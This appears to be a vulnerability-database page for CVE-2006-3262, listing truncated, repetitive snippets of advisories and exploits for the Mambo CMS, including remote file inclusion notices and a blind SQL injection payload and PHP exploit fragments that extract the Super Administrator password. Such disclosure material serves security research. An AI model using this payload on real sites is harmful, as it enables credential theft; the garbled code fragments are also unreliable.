CVE-2006-3262

SQL injection vulnerability in the Weblinks module weblinks.php in Mambo 4.6rc1 and earlier allows remote attackers to execute arbitrary SQL commands via the title parameter...

Mambo Component Pearl 1.6 - Multiple Remote File Inclusions

Mambo Component Pearl 1.6 - Multiple Remote File Inclusions --------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities...

Pearl For Mambo <= 1.6 Multiple Remote File Include Vulnerabilities

No description provided by source. --------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RL...

Pearl For Mambo <= 1.6 Multiple Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications =================================================================== Pearl For Mambo = 1.6 Multiple Remote File Include Vulnerabilities ===================================================================...

cbsms.txt

--------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team Remote : Yes...

Mambo Component Pearl 1.6 - Multiple Remote File Inclusions

--------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...

CBSMS Mambo Module &lt;= 1.0 Remote File Include Vulnerability

No description provided by source. --------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romani...

CBSMS Mambo Module <= 1.0 Remote File Include Vulnerability

Exploit for unknown platform in category web applications =========================================================== CBSMS Mambo Module = 1.0 Remote File Include Vulnerability ===========================================================...

mambo_46rc1_sql.txt

!/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super Administrator'/ in mambo.txt we have: 13 Query SELE...

Mambo Module CBSms 1.0 - Remote File Inclusion

Mambo Module CBSms 1.0 - Remote File Inclusion --------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By...

Mambo Module CBSms 1.0 - Remote File Inclusion

--------------------------------------------------------------------------- CBSMS Mambo Module = 1.0 mosConfigabsolutepath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team Remote : Yes...

Mambo <= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)

Exploit for unknown platform in category web applications ================================================================= Mambo 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$strin...

Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)

Mambo 4.6rc1 - Weblinks Blind SQL Injection 2 !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return...

Mambo &lt;= 4.6rc1 (Weblinks) Remote Blind SQL Injection Exploit (2)

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit ii quicker and more effective version, but it floods\r\n"; echo "admin of links submissions...\r\n"; echo "by rgod...

Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...

Mambo < 4.6.1 Login Function usercookie Cookie SQL Injection

Binary data 3656.prm...

mambo -- SQL injection vulnerabilities

The Team Mambo reports that two SQL injection vulnerabilities have been found in Mambo. The vulnerabilities exists due to missing sanitation of the title and catid parameters in the weblinks.php page and can lead to execution of arbitrary SQL code...

Mambo <= 4.6rc1 (Weblinks) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Mambo mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM...

Mambo &lt;= 4.6rc1 (Weblinks) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Mambo = 4.6rc1 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "this...

Mambo 4.6rc1 - Weblinks Blind SQL Injection (1)

Mambo 4.6rc1 - Weblinks Blind SQL Injection 1 !/usr/bin/php -q -d shortopentag=on mysqld --log=mambo.txt now login, go to "Submit Weblink" feature, in "Name: " field type: 99999' UNION SELECT IF ASCIISUBSTRINGpassword,1,1=0 & 1, benchmark200000000,CHAR0,0 FROM mosusers WHERE usertype='Super...